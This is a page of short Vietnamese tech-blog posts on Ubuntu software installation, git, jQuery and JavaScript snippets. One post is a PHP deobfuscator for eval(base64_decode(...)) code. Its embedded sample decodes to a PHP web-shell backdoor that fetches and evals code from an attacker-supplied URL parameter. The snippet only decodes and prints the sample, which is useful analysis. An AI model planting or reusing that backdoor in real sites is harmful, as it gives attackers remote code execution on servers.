Cài đặt JDK 6 trên ubuntu

Xóa OpenJDK nếu có cài đặt trước đó:
sudo apt-get purge openjdk*
Để không bị lỗi ở lệnh add-apt-repository, cài đăt:
sudo apt-get install software-properties-common
Tiếp tục:
sudo add-apt-repository ppa:webupd8team/java
sudo apt-get update
Cài JDK
sudo apt-get install oracle-java6-installer
   12:42 SA 18/09/2014 0 Bình luận
Chi tiết
 

 Cài đặt GNU Make Trên Ubuntu

Để cài đặt bạn cần vào http://ftp.gnu.org/gnu/make/ để download bản mới nhất, ở đây mình cài đặt bản make-3.82.tar.gz. Sau khi download về (mặc định ở thư mục Downloads) các bạn tiến hành giải nén, mở Terminal lên:

cd ~/Downloads/
tar -xvf make-3.82.tar.gz
cd make-3.82
./configure
make
sudo make tinstall

Chú ý: make-3.82 là tên thư mục giải nén được, make-3.82.tar.gz là tên file đã download. Sau khi cài đặt nên xóa file make-3.82.tar.gz và thư mục make-3.82.tar để giải phóng ổ cứng.
   12:38 SA 18/09/2014 0 Bình luận
Chi tiết
 

 Cài đặt python 2.7.5 trên ubuntu

sudo apt-get install build-essential
sudo apt-get install libreadline-gplv2-dev libncursesw5-dev libssl-dev libsqlite3-dev tk-dev libgdbm-dev libc6-dev libbz2-dev
cd ~/Downloads/
wget http://python.org/ftp/python/2.7.5/Python-2.7.5.tgz
tar -xvf Python-2.7.5.tgz
cd Python-2.7.5
./configure
make
sudo make altinstall
Chú ý: Có thể có bản mới hơn, do đó bạn cần kiểm tra http://www.python.org/download/ xem, nếu có thì thay đường dẫn http://python.org/ftp/python/2.7.5/Python-2.7.5.tgz trong code trên bằng đường dẫn download file, thay Python-2.7.5.tgz bằng tên file download về được (trong thư mục Home/Downloads/) và thay Python-2.7.5 bằng thư mục giải nén được.
   12:32 SA 18/09/2014 0 Bình luận
Chi tiết
 
Xuất Source Android Bước 1: Chuẩn Bị Các Thành Phần

 Xuất Source Android Bước 1: Chuẩn Bị Các Thành Phần

Các thành phần cần thiết cần chuẩn bị để build code androi gốc từ kho code của google

   10:23 CH 16/09/2014 0 Bình luận
Chi tiết
 

 Không cho bôi đen nội dung html

$('#imglist').attr('unselectable','on').css({
 '-moz-user-select':'-moz-none',
 '-moz-user-select':'none',
 '-o-user-select':'none',
 '-khtml-user-select':'none',
 '-webkit-user-select':'none',
 '-ms-user-select':'none',
 'user-select':'none'
}).bind('selectstart', function(){ return false; });
   8:55 SA 09/08/2014 0 Bình luận
Chi tiết
 

 Code Đơn Giản Giải Mã Kiểu Mã Hóa eval(base64_decode

<?php

$string = "eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCJhV1lvYVhOelpYUW9KRjlIUlZSYkltTjFiMjVuYTJWdVp5SmRLU2tLZXdvSlpXTm9ieUFpU0dWc2JHOGdRM1Z2Ym1kTFpXNW5JRG9nUEM5aWNqNGdJanNLQ1dsbUtHbHpjMlYwS0NSZlIwVlVXeUpyZFhKc0lsMHBLUW9KQ1hzS0NRa0phV1lvSkY5SFJWUmJJbXQxY213aVhTRTlJaUlwQ2drSkNXVjJZV3dvWm1sc1pWOW5aWFJmWTI5dWRHVnVkSE1vSkY5SFJWUmJJbXQxY213aVhTa3BPd29KQ1gwS0NRbGxiSE5sQ2drSlpXTm9ieUFpUEdFZ2FISmxaajFjSWo5amRXOXVaMnRsYm1jbWEzVnliRDFjSWo1dVpYaDBQQzloUGlJN0NnbGxlR2wwS0NrN0NuMD0iKSk7'));";

while( preg_match( "/base64\_decode/", $string ) ){ $string = preg_replace( "/eval\(base64\_decode\(['\"](.*?)['\"]\)\)\;/i", "\\1", $string ); $string = base64_decode( $string );}

echo $string;

?>
   9:36 CH 04/08/2014 0 Bình luận
Chi tiết
 
Cài Đặt Và Tùy Chỉnh Apache, PHP & MySQL Trên Ubuntu

 Cài Đặt Và Tùy Chỉnh Apache, PHP & MySQL Trên Ubuntu

Hướng dẫn cách cài đặt, thiết lập một web server hoàn chỉnh trên hệ điều hành Ubuntu

   3:46 CH 04/08/2014 1 Bình luận
Chi tiết
 

 Cài Một Số Phần Mềm Cần Thiết Và Khắc Phục Một Số Lỗi Trên Ubuntu

Lỗi kết nối accounts google chrome

Tắt google chrome:
mv ~/.config/google-chrome ~/.config/google-chrome-old
Mở chrome, chọn default broswer sau đó tắt chrome:
cp -r ~/.config/google-chrome-old/Default ~/.config/google-chrome/

Cài đặt Ibus-Unikey

Mở Ubuntu Sortware Center đánh ibus-unikey, install sau đó:
ibus restart
Vào system setting => text entry nhấp add, kéo xuống chọn Vietnamese (Unikey)

Cài đặt VLC Media Player

sudo apt-get install vlc browser-plugin-vlc

Sửa lỗi mount ổ đĩa NTFS

sudo ntfsfix /dev/<partition>
<partition> là tên phân vùng NTFS bị lỗi.

Cài một số tiện ích mở rộng

sudo apt-get update
sudo apt-get install ubuntu-restricted-extras

Cho phép java trên trình duyệt google chrome

sudo -s
mkdir -p /opt/google/chrome/plugins
cd /opt/google/chrome/plugins
ln -s /usr/local/java/jre1.7.0/lib/amd64/libnpjp2.so

Sửa lỗi màn hình có độ phân giải thấp sau khi xóa card nvidia

sudo mv /etc/X11/xorg.conf /etc/X11/xorg.conf.bak
   9:48 CH 03/08/2014 0 Bình luận
Chi tiết
 

 Hủy theo dõi các file trên kho local nhưng không xóa trên kho remote

Sử dụng lệnh:
git update-index --assume-unchanged <file>
Ví dụ:
git update-index --assume-unchanged data/config_global.php
Để tiếp tục theo dõi dùng lệnh:
git update-index --no-assume-unchanged <file>
Để xem danh sách các file đang hủy theo dõi dùng lệnh
git ls-files -v | grep '^h '
   9:29 CH 03/08/2014 0 Bình luận
Chi tiết
 

 JavaScript Bộ đếm ngược ngày giờ phút giây

<script type="text/javascript">
function DaysHMSCounter(initDate, id){
    this.counterDate = new Date(initDate);
    this.container = document.getElementById(id);
    this.update();
}
 
DaysHMSCounter.prototype.calculateUnit=function(secDiff, unitSeconds){
    var tmp = Math.abs((tmp = secDiff/unitSeconds)) < 1? 0 : tmp;
    return Math.abs(tmp < 0 ? Math.ceil(tmp) : Math.floor(tmp));
}
 
DaysHMSCounter.prototype.calculate=function(){
    var secDiff = Math.abs(Math.round(((new Date()) - this.counterDate)/1000));
    this.days = this.calculateUnit(secDiff,86400);
    this.hours = this.calculateUnit((secDiff-(this.days*86400)),3600);
    this.mins = this.calculateUnit((secDiff-(this.days*86400)-(this.hours*3600)),60);
    this.secs = this.calculateUnit((secDiff-(this.days*86400)-(this.hours*3600)-(this.mins*60)),1);
}
 
DaysHMSCounter.prototype.update=function(){
    this.calculate();
    this.container.innerHTML =
        " " + this.days + " " + (this.days == 1? "day" : "days") +
        " " + this.hours + " " + (this.hours == 1? "hour" : "hours") +
        " " + this.mins + " " + (this.mins == 1? "min" : "mins") +
        " " + this.secs + " " + (this.secs == 1? "sec" : "secs");
    var self = this;
    setTimeout(function(){self.update();}, (1000));
}
 
window.onload=function(){ new DaysHMSCounter('January 01, 2013 00:00:00', 'counter'); }
 
</script>
   2:23 CH 01/08/2014 0 Bình luận
Chi tiết
 
Trang 2 trong tổng số 3
 
 
Đăng ký nhận bản tin
 

Hãy để lại email của bạn, tôi sẽ thông báo với bạn khi có bài viết mới nhất.